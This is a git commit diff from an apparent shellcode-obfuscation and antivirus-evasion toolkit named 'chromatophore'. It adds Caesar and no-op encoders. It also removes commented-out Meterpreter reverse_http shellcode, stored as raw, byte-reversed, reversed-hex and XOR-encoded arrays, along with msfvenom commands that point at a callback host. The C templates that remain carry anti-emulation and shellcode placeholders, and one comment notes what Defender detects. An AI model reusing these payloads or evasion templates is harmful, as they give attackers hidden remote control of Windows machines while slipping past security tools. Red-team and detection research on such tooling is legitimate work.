// python3 reverse_byte_order.py
|
||||
//char reversed_payload[562] = {0xd5, 0xff, 0x56, 0xa2, 0xb5, 0xf0, 0xc2, 0xc7, 0x49, 0x59, 0x0, 0x6a, 0x58, 0xc3, 0x58, 0xd2, 0x75, 0xc0, 0x85, 0xc3, 0x1, 0x48, 0x7, 0x8b, 0x66, 0xb2, 0x74, 0xc0, 0x85, 0x20, 0xc4, 0x83, 0x48, 0xd5, 0xff, 0x0, 0x0, 0x0, 0x0, 0xe2, 0x89, 0x96, 0x12, 0xba, 0x49, 0xf9, 0x89, 0x49, 0x0, 0x0, 0x20, 0x0, 0xc0, 0xc7, 0x49, 0xda, 0x89, 0x48, 0xf1, 0x89, 0x48, 0xe7, 0x89, 0x48, 0x53, 0x53, 0x93, 0x48, 0xd5, 0xff, 0x0, 0x0, 0x0, 0x0, 0xe5, 0x53, 0xa4, 0x58, 0xba, 0x49, 0x0, 0x0, 0x10, 0x0, 0xc0, 0xc7, 0x49, 0x10, 0xe2, 0xc1, 0xd1, 0x89, 0x49, 0x5a, 0x40, 0x6a, 0x59, 0x53, 0x0, 0x0, 0x0, 0x55, 0xe8, 0xcc, 0xeb, 0x2, 0x74, 0xcf, 0xff, 0x48, 0xd5, 0xff, 0x0, 0x0, 0x0, 0x0, 0xe0, 0x35, 0xf0, 0x44, 0xba, 0x49, 0x0, 0x0, 0x13, 0x88, 0xc1, 0xc7, 0x48, 0x1f, 0x75, 0xc0, 0x85, 0xd5, 0xff, 0x7b, 0x18, 0x6, 0x2d, 0xc2, 0xc7, 0x49, 0x53, 0x53, 0xc9, 0x31, 0x4d, 0xc9, 0x31, 0x4d, 0xf1, 0x89, 0x48, 0x5a, 0x53, 0x5f, 0xa, 0x6a, 0xc6, 0x89, 0x48, 0xd5, 0xff, 0x3b, 0x2e, 0x55, 0xeb, 0xc2, 0xc7, 0x49, 0x53, 0x53, 0x50, 0x0, 0x0, 0x0, 0x0, 0x84, 0x28, 0x2, 0x0, 0xb8, 0x48, 0x53, 0xc9, 0x31, 0x4d, 0x58, 0x41, 0x5a, 0x53, 0xc1, 0x89, 0x48, 0x0, 0x4c, 0x4c, 0x78, 0x75, 0x5a, 0x73, 0x65, 0x51, 0x72, 0x33, 0x6c, 0x53, 0x65, 0x76, 0x4c, 0x54, 0x30, 0x41, 0x63, 0x58, 0x49, 0x36, 0x53, 0x62, 0x39, 0x53, 0x57, 0x75, 0x6f, 0x44, 0x77, 0x74, 0x71, 0x38, 0x38, 0x63, 0x4c, 0x4c, 0x43, 0x2f, 0x0, 0x0, 0x0, 0x29, 0xe8, 0xd5, 0xff, 0x0, 0x0, 0x0, 0x0, 0xc6, 0x9f, 0x89, 0x57, 0xba, 0x49, 0x53, 0x3, 0x6a, 0x53, 0x53, 0xc9, 0x31, 0x4d, 0x0, 0x0, 0x0, 0x50, 0xc0, 0xc7, 0x49, 0xc1, 0x89, 0x48, 0x5a, 0x0, 0x34, 0x33, 0x31, 0x2e, 0x30, 0x39, 0x31, 0x2e, 0x38, 0x36, 0x31, 0x2e, 0x32, 0x39, 0x31, 0x0, 0x0, 0x0, 0x10, 0xe8, 0xd5, 0xff, 0x0, 0x0, 0x0, 0x0, 0xa7, 0x79, 0x56, 0x3a, 0xba, 0x49, 0x53, 0x53, 0xc9, 0x31, 0x4d, 0xc0, 0x31, 0x4d, 0x5a, 0x53, 0xe1, 0x89, 0x48, 0x53, 0x53, 0xd5, 0xff, 0x7, 0x26, 0x77, 0x4c, 0xc2, 0xc7, 0x49, 0xe1, 0x89, 0x48, 0x56, 0x41, 0x0, 0x74, 0x65, 0x6e, 0x69, 0x6e, 0x69, 0x77, 0xbe, 0x49, 0x53, 0xdb, 0x31, 0x48, 0x5d, 0xff, 0xff, 0xff, 0x4b, 0xe9, 0x12, 0x8b, 0x48, 0x5a, 0x59, 0x41, 0x58, 0xe0, 0xff, 0x52, 0x41, 0x20, 0xec, 0x83, 0x48, 0x5a, 0x41, 0x59, 0x41, 0x58, 0x41, 0x5a, 0x59, 0x5e, 0x58, 0x41, 0xd0, 0x1, 0x48, 0x58, 0x41, 0x88, 0x4, 0x8b, 0x41, 0xd0, 0x1, 0x49, 0x1c, 0x40, 0x8b, 0x44, 0x48, 0xc, 0x8b, 0x41, 0x66, 0xd0, 0x1, 0x49, 0x24, 0x40, 0x8b, 0x44, 0x58, 0xd8, 0x75, 0xd1, 0x39, 0x45, 0x8, 0x24, 0x4c, 0x3, 0x4c, 0xf1, 0x75, 0xe0, 0x38, 0xc1, 0x1, 0x41, 0xd, 0xc9, 0xc1, 0x41, 0xac, 0xc0, 0x31, 0x48, 0xd6, 0x1, 0x48, 0xc9, 0x31, 0x4d, 0x88, 0x34, 0x8b, 0x41, 0xc9, 0xff, 0x48, 0x56, 0xe3, 0xd0, 0x1, 0x49, 0x50, 0x20, 0x40, 0x8b, 0x44, 0x18, 0x48, 0x8b, 0xd0, 0x1, 0x48, 0x67, 0x74, 0xc0, 0x85, 0x48, 0x0, 0x0, 0x0, 0x88, 0x80, 0x8b, 0x0, 0x0, 0x0, 0x72, 0x85, 0xf, 0x2, 0xb, 0x18, 0x78, 0x81, 0x66, 0xd0, 0x1, 0x48, 0x3c, 0x42, 0x8b, 0x51, 0x41, 0x20, 0x52, 0x8b, 0x48, 0x52, 0xed, 0xe2, 0xc1, 0x1, 0x41, 0xd, 0xc9, 0xc1, 0x41, 0x20, 0x2c, 0x2, 0x7c, 0x61, 0x3c, 0xac, 0xc0, 0x31, 0x48, 0x4a, 0x4a, 0xb7, 0xf, 0x48, 0x50, 0x72, 0x8b, 0x48, 0xc9, 0x31, 0x4d, 0x20, 0x52, 0x8b, 0x48, 0x18, 0x52, 0x8b, 0x48, 0x60, 0x52, 0x8b, 0x48, 0x65, 0x56, 0xd2, 0x31, 0x48, 0x51, 0x52, 0x50, 0x41, 0x51, 0x41, 0x0, 0x0, 0x0, 0xcc, 0xe8, 0xf0, 0xe4, 0x83, 0x48, 0xfc};
|
||||
char shellcode[562] = { 0 };
|
||||
|
||||
{{SHELLCODE}}
|
||||
|
||||
@@ -1,7 +1,5 @@
|
||||
import sys
|
||||
|
||||
#shellcode = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x48,0x31,0xd2,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x41,0x51,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x50,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x4d,0x31,0xc9,0x48,0x01,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x41,0x58,0x48,0x01,0xd0,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x00,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x07,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5,0xe8,0x10,0x00,0x00,0x00,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x31,0x39,0x30,0x2e,0x31,0x33,0x34,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0x50,0x00,0x00,0x00,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x03,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x00,0x00,0x00,0x00,0xff,0xd5,0xe8,0x29,0x00,0x00,0x00,0x2f,0x43,0x4c,0x4c,0x63,0x38,0x38,0x71,0x74,0x77,0x44,0x6f,0x75,0x57,0x53,0x39,0x62,0x53,0x36,0x49,0x58,0x63,0x41,0x30,0x54,0x4c,0x76,0x65,0x53,0x6c,0x33,0x72,0x51,0x65,0x73,0x5a,0x75,0x78,0x4c,0x4c,0x00,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x00,0x02,0x28,0x84,0x00,0x00,0x00,0x00,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0x0a,0x5f,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x00,0x00,0x49,0xba,0x44,0xf0,0x35,0xe0,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,0xcc,0xe8,0x55,0x00,0x00,0x00,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x00,0x10,0x00,0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5]
|
||||
#print('[{}]'.format(', '.join(hex(x) for x in shellcode[::-1])))
|
||||
|
||||
def get_raw_sc(input_file):
|
||||
input_file = input_file
|
||||
|
||||
@@ -3,16 +3,10 @@
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
// compile:
|
||||
// cl.exe /nologo /W0 /DNDEBUG /Tcreverse_hex_string.c /link /OUT:reverse_hex_string.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
int main(void) {
|
||||
{{ANTI_EMULATION}}
|
||||
|
||||
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f csharp | tr -d \\n
|
||||
// python3 reverse_string.py
|
||||
//char reversed_hex_string[] ="5dx0,ffx0,65x0,2ax0,5bx0,0fx0,2cx0,7cx0,94x0,95x0,Z,a6x0,85x0,3cx0,85x0,2dx0,57x0,0cx0,58x0,3cx0,1x0,84x0,7x0,b8x0,66x0,2bx0,47x0,0cx0,58x0,02x0,4cx0,38x0,84x0,5dx0,ffx0,Z,Z,Z,Z,2ex0,98x0,69x0,21x0,abx0,94x0,9fx0,98x0,94x0,Z,Z,02x0,Z,0cx0,7cx0,94x0,adx0,98x0,84x0,1fx0,98x0,84x0,7ex0,98x0,84x0,35x0,35x0,39x0,84x0,5dx0,ffx0,Z,Z,Z,Z,5ex0,35x0,4ax0,85x0,abx0,94x0,Z,Z,01x0,Z,0cx0,7cx0,94x0,01x0,2ex0,1cx0,1dx0,98x0,94x0,a5x0,04x0,a6x0,95x0,35x0,Z,Z,Z,55x0,8ex0,ccx0,bex0,2x0,47x0,fcx0,ffx0,84x0,5dx0,ffx0,Z,Z,Z,Z,0ex0,53x0,0fx0,44x0,abx0,94x0,Z,Z,31x0,88x0,1cx0,7cx0,84x0,f1x0,57x0,0cx0,58x0,5dx0,ffx0,b7x0,81x0,6x0,d2x0,2cx0,7cx0,94x0,35x0,35x0,9cx0,13x0,d4x0,9cx0,13x0,d4x0,1fx0,98x0,84x0,a5x0,35x0,f5x0,ax0,a6x0,6cx0,98x0,84x0,5dx0,ffx0,b3x0,e2x0,55x0,bex0,2cx0,7cx0,94x0,35x0,35x0,05x0,Z,Z,Z,Z,48x0,82x0,2x0,Z,8bx0,84x0,35x0,9cx0,13x0,d4x0,85x0,14x0,a5x0,35x0,1cx0,98x0,84x0,Z,75x0,e6x0,55x0,75x0,25x0,b4x0,63x0,85x0,c4x0,a4x0,67x0,63x0,84x0,47x0,83x0,85x0,34x0,46x0,b6x0,14x0,63x0,57x0,24x0,36x0,b4x0,33x0,44x0,b6x0,c6x0,86x0,a6x0,86x0,37x0,a7x0,e4x0,27x0,77x0,85x0,85x0,37x0,65x0,b4x0,d4x0,63x0,07x0,34x0,35x0,96x0,b6x0,27x0,67x0,a6x0,67x0,14x0,16x0,76x0,63x0,46x0,14x0,c6x0,55x0,23x0,a4x0,b6x0,a4x0,e6x0,17x0,63x0,a6x0,46x0,46x0,67x0,54x0,56x0,27x0,f2x0,Z,Z,Z,d4x0,8ex0,5dx0,ffx0,Z,Z,Z,Z,6cx0,f9x0,98x0,75x0,abx0,94x0,35x0,3x0,a6x0,35x0,35x0,9cx0,13x0,d4x0,Z,Z,Z,05x0,0cx0,7cx0,94x0,1cx0,98x0,84x0,a5x0,Z,43x0,33x0,13x0,e2x0,03x0,93x0,13x0,e2x0,83x0,63x0,13x0,e2x0,23x0,93x0,13x0,Z,Z,Z,01x0,8ex0,5dx0,ffx0,Z,Z,Z,Z,7ax0,97x0,65x0,a3x0,abx0,94x0,35x0,35x0,9cx0,13x0,d4x0,0cx0,13x0,d4x0,a5x0,35x0,1ex0,98x0,84x0,35x0,35x0,5dx0,ffx0,7x0,62x0,77x0,c4x0,2cx0,7cx0,94x0,1ex0,98x0,84x0,65x0,14x0,Z,47x0,56x0,e6x0,96x0,e6x0,96x0,77x0,ebx0,94x0,35x0,bdx0,13x0,84x0,d5x0,ffx0,ffx0,ffx0,b4x0,9ex0,21x0,b8x0,84x0,a5x0,95x0,14x0,85x0,0ex0,ffx0,25x0,14x0,02x0,cex0,38x0,84x0,a5x0,14x0,95x0,14x0,85x0,14x0,a5x0,95x0,0dx0,1x0,84x0,e5x0,85x0,14x0,85x0,14x0,88x0,4x0,b8x0,14x0,0dx0,1x0,94x0,c1x0,04x0,b8x0,44x0,84x0,cx0,b8x0,14x0,66x0,0dx0,1x0,94x0,42x0,04x0,b8x0,44x0,85x0,8dx0,57x0,1dx0,93x0,54x0,8x0,42x0,c4x0,3x0,c4x0,1fx0,57x0,0ex0,83x0,1cx0,1x0,14x0,dx0,9cx0,1cx0,14x0,cax0,0cx0,13x0,84x0,6dx0,1x0,84x0,88x0,43x0,b8x0,14x0,9cx0,ffx0,84x0,9cx0,13x0,d4x0,65x0,3ex0,0dx0,1x0,94x0,02x0,04x0,b8x0,44x0,81x0,84x0,b8x0,05x0,0dx0,1x0,84x0,76x0,47x0,0cx0,58x0,84x0,Z,Z,Z,88x0,08x0,b8x0,Z,Z,Z,27x0,58x0,fx0,2x0,bx0,81x0,87x0,18x0,66x0,0dx0,1x0,84x0,c3x0,24x0,b8x0,15x0,14x0,02x0,25x0,b8x0,84x0,25x0,dex0,2ex0,1cx0,1x0,14x0,dx0,9cx0,1cx0,14x0,02x0,c2x0,2x0,c7x0,16x0,c3x0,cax0,0cx0,13x0,84x0,9cx0,13x0,d4x0,05x0,27x0,b8x0,84x0,a4x0,a4x0,7bx0,fx0,84x0,02x0,25x0,b8x0,84x0,81x0,25x0,b8x0,84x0,06x0,25x0,b8x0,84x0,56x0,65x0,2dx0,13x0,84x0,15x0,25x0,05x0,14x0,15x0,14x0,Z,Z,Z,ccx0,8ex0,0fx0,4ex0,38x0,84x0,cfx0";
|
||||
|
||||
{{SHELLCODE}}
|
||||
|
||||
// reverse the string
|
||||
|
||||
@@ -10,6 +10,7 @@ struct ustring {
|
||||
PUCHAR Buffer;
|
||||
} _data, key;
|
||||
|
||||
|
||||
int main(void)
|
||||
{
|
||||
{{ANTI_EMULATION}}
|
||||
|
||||
@@ -1,8 +1,6 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// compile:
|
||||
// cl.exe /nologo /Tcxor-multibyte-key.c /link /out:xor-multibyte-key.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
void XOR(char * ciphertext, size_t ciphertext_len, char * key, size_t key_len) {
|
||||
// Defender will detect this function
|
||||
@@ -28,11 +26,6 @@ void XOR(char * ciphertext, size_t ciphertext_len, char * key, size_t key_len) {
|
||||
|
||||
int main(void)
|
||||
{
|
||||
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f csharp | tr -d \\n
|
||||
// python3 xor.py
|
||||
//char shellcode[593] = {0xa4,0x07,0xd1,0xaf,0xb5,0xb1,0x94,0x4f,0x52,0x4b,0x04,0x08,0x19,0x1f,0x00,0x1a,0x0d,0x68,0x8a,0x2a,0x1a,0xc0,0x17,0x39,0x0e,0x07,0xd9,0x19,0x5d,0x11,0xd3,0x1d,0x72,0x03,0x4a,0xee,0x12,0x05,0x1a,0xc0,0x37,0x09,0x15,0x7e,0x9b,0x03,0x74,0x99,0xf4,0x73,0x33,0x37,0x47,0x75,0x78,0x0e,0x93,0x82,0x48,0x18,0x59,0x8e,0xb0,0xa6,0x17,0x18,0x09,0x07,0xd9,0x19,0x65,0xd2,0x1a,0x73,0x1a,0x4a,0x95,0x3f,0xd9,0x37,0x4a,0x40,0x47,0x56,0xdd,0x3d,0x52,0x4b,0x45,0xd2,0xd8,0xc7,0x52,0x4b,0x45,0x11,0xdd,0x8f,0x26,0x2c,0x0d,0x58,0x88,0xc4,0x1a,0x53,0x15,0x1d,0xd3,0x0f,0x72,0x02,0x44,0x89,0xbb,0x19,0x1f,0x7a,0x8c,0x11,0xa7,0x86,0x13,0xc0,0x71,0xd1,0x10,0x4e,0x84,0x03,0x74,0x99,0xf4,0x0e,0x93,0x82,0x48,0x18,0x59,0x8e,0x6a,0xab,0x30,0xa8,0x14,0x4c,0x1e,0x6f,0x4d,0x1c,0x61,0x9e,0x27,0x93,0x1d,0x1d,0xd3,0x0f,0x76,0x02,0x44,0x89,0x3e,0x0e,0xd9,0x47,0x0d,0x1d,0xd3,0x0f,0x4e,0x02,0x44,0x89,0x19,0xc4,0x56,0xc3,0x04,0x01,0x19,0x17,0x1a,0x4a,0x95,0x07,0x01,0x15,0x13,0x13,0x04,0x00,0x19,0x15,0x1a,0xc8,0xa9,0x79,0x19,0x1d,0xad,0xab,0x1d,0x18,0x01,0x15,0x1a,0xc0,0x57,0xb0,0x13,0xb0,0xad,0xb4,0x18,0x11,0x69,0x94,0x01,0x02,0xfb,0x2e,0x31,0x21,0x3b,0x25,0x20,0x2d,0x58,0x0e,0x04,0x03,0xcc,0xb8,0x11,0x88,0x90,0x07,0x32,0x7f,0x5f,0xb0,0x87,0x18,0x16,0x11,0xd1,0xae,0x01,0x11,0x08,0x68,0x98,0x02,0x63,0x82,0x16,0x0a,0x11,0xf5,0x68,0x1d,0x3c,0xfe,0x58,0x4f,0x52,0x4b,0xba,0x8c,0xb0,0x5f,0x52,0x4b,0x45,0x68,0x61,0x7d,0x7c,0x7a,0x73,0x61,0x76,0x7e,0x6b,0x7b,0x6b,0x68,0x6b,0x7b,0x52,0x11,0x0d,0xd0,0x99,0x06,0x95,0x8b,0x15,0x59,0x58,0x4f,0x1f,0x7a,0x8c,0x0a,0x0b,0x25,0x51,0x18,0x0c,0xe3,0x0f,0xc6,0xcd,0x8d,0x45,0x59,0x58,0x4f,0xad,0x9e,0xad,0x46,0x58,0x4f,0x52,0x64,0x13,0x1f,0x3e,0x1a,0x1b,0x3e,0x73,0x35,0x14,0x18,0x05,0x79,0x0d,0x3b,0x3b,0x29,0x62,0x66,0x14,0x12,0x0f,0x0e,0x24,0x7f,0x37,0x12,0x28,0x07,0x04,0x4b,0x0d,0xd0,0x99,0x1c,0x08,0x0a,0x1d,0x14,0x69,0x86,0x01,0x03,0xfd,0x59,0x5a,0x67,0xd6,0x4b,0x45,0x59,0x58,0x1f,0x01,0x18,0x0c,0x9e,0x9a,0xa4,0x07,0x65,0x7e,0xa6,0x8d,0x07,0xdb,0x8d,0x2f,0x53,0x07,0x1c,0x08,0x03,0xcc,0xa8,0x15,0x7e,0x9b,0x06,0x74,0x90,0x0b,0x1c,0x1b,0x8c,0x87,0x74,0x5e,0x57,0x29,0xb4,0x90,0xdc,0x98,0x3a,0x4d,0x03,0x82,0x98,0xd0,0x5c,0x52,0x4b,0x0c,0xe3,0x1c,0xbf,0x67,0xab,0x45,0x59,0x58,0x4f,0xad,0x9e,0x0d,0xa6,0x97,0x3b,0x50,0xa0,0x89,0xb1,0x0d,0x4f,0x52,0x4b,0x16,0x00,0x32,0x0f,0x08,0x02,0xcc,0x88,0x99,0xad,0x42,0x02,0x82,0x99,0x58,0x5f,0x52,0x4b,0x0c,0xe3,0x00,0xeb,0x01,0xae,0x45,0x59,0x58,0x4f,0xad,0x9e,0x0d,0xca,0x0b,0x1c,0x1a,0xc2,0xa2,0x11,0xd1,0xbe,0x1a,0xc2,0x9f,0x10,0x9f,0x8f,0x52,0x6b,0x45,0x59,0x11,0xc6,0xab,0x02,0xff,0x4b,0xce,0xc6,0xb0,0x4b,0x45,0x59,0x58,0xb0,0x87,0x03,0xc6,0x9d,0x78,0xca,0x92,0x3f,0xf7,0x3f,0xd3,0x48,0x1a,0x4a,0x86,0xdc,0x98,0x3a,0x80,0x13,0x86,0x01,0x32,0x4f,0x0b,0x02,0x82,0x9b,0xa8,0xfa,0xf0,0x1d,0xba,0x8c};
|
||||
//char xorkey[] = "XORKEY";
|
||||
|
||||
{{ANTI_EMULATION}}
|
||||
{{SHELLCODE}}
|
||||
|
||||
|
||||
@@ -3,12 +3,9 @@
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
// compile: cl.exe /nologo /MT /Tcreverse_byte_order_xor.c /link /OUT:reverse_byte_order_xor.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
int main(void)
|
||||
{
|
||||
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f csharp | tr -d \\n
|
||||
// python3 reverse_byte_order_xor.py
|
||||
{{ANTI_EMULATION}}
|
||||
|
||||
{{SHELLCODE}}
|
||||
|
||||
+5
-8
@@ -19,6 +19,8 @@ from chromatophore.xor_multibyte import xor_multibyte
|
||||
from chromatophore.reverse_hex_string import reverse_hex_string
|
||||
from chromatophore.twoarray import twoarray
|
||||
from chromatophore.uuidapi import uuidapi
|
||||
from chromatophore.caesar import caesar
|
||||
from chromatophore.noobfuscation import noobfuscation
|
||||
|
||||
#import importlib
|
||||
#def ImportChromatophore():
|
||||
@@ -31,18 +33,14 @@ from chromatophore.uuidapi import uuidapi
|
||||
# print(f"{name}() => {result}")
|
||||
|
||||
|
||||
|
||||
def no_encoding(_input_file):
|
||||
return ""
|
||||
|
||||
|
||||
function_map = {
|
||||
"noobfuscation": no_encoding,
|
||||
"noobfuscation": noobfuscation.noobfuscation,
|
||||
"aes": aes.aes,
|
||||
"base64": base64.base64,
|
||||
"base64api": base64api.base64api,
|
||||
"bin2ip": bin2ip.bin2ip,
|
||||
"bin2mac": bin2mac.bin2mac,
|
||||
"caesar": caesar.caesar,
|
||||
"jargon": jargon.jargon,
|
||||
"jigsaw": jigsaw.jigsaw,
|
||||
"offset": offset.offset,
|
||||
@@ -123,8 +121,7 @@ def do():
|
||||
# - in: output/bin2mac.exe
|
||||
# - out: output/bin2mac.exe.json
|
||||
|
||||
#module = "noobfuscation"
|
||||
module = "xor_multibyte"
|
||||
module = "noobfuscation"
|
||||
|
||||
print("Templating")
|
||||
|
||||
Reference in New Issue
Block a user